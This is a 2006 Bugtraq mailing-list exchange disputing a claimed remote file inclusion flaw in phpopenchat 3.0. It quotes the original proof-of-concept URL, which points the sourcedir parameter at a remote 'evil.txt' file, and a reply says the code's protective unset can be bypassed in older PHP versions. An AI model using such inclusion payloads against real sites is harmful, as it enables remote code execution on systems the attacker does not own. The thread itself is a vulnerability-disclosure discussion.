AW: WDT :-phpopenchat-3.0.* ($sourcedir) Remote File Inclusion Exploit

[Frank Reißner <mail () frank-reissner de>]

You can bypass unset in php < 4.4.4 and < 5.14. :)   

-----Ursprüngliche Nachricht-----
Von: Carsten Eilers [mailto:ceilers-lists () gmx de] 
Gesendet: Freitag, 8. September 2006 00:18
An: stormhacker () hotmail com; bugtraq () securityfocus com
Betreff: Re: WDT :-phpopenchat-3.0.* ($sourcedir) Remote File Inclusion
Exploit

Hi,

stormhacker () hotmail com schrieb am Wed, 6 Sep 2006 19:17:11 +0000:

> -----------------Description---------------
>
>
> include_once("QueryString.php");
>
> include_once("Settings.php");
>
> include_once("$sourcedir/Subs.php");
>
> include_once("$sourcedir/Errors.php");
>
> include_once("$sourcedir/Load.php");
>
> //include_once("$sourcedir/Security.php");

Nice.

But you forgot the three little line above of this:

| $givenParams = array_keys($_REQUEST);
| foreach($givenParams as $param )
|  unset(${$param});

And this...

> --------------PoC/Exploit----------------------
>
>
> http://www.host.com/phpopenchat/contrib/yabbse/poc.php?sourcedir=http://
> host/evil.txt?

... unsets your set sourcedir.
Result: There is no vulnerability.

Maybee $sourcedir is set/manipulated in QueryString.php
or Settings.php, but these script see nothing about your
manipulated sourcedir since it's unset before the includes.

> --------------Solution---------------------
>
>
> No Patch available.

No patch necessary.

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>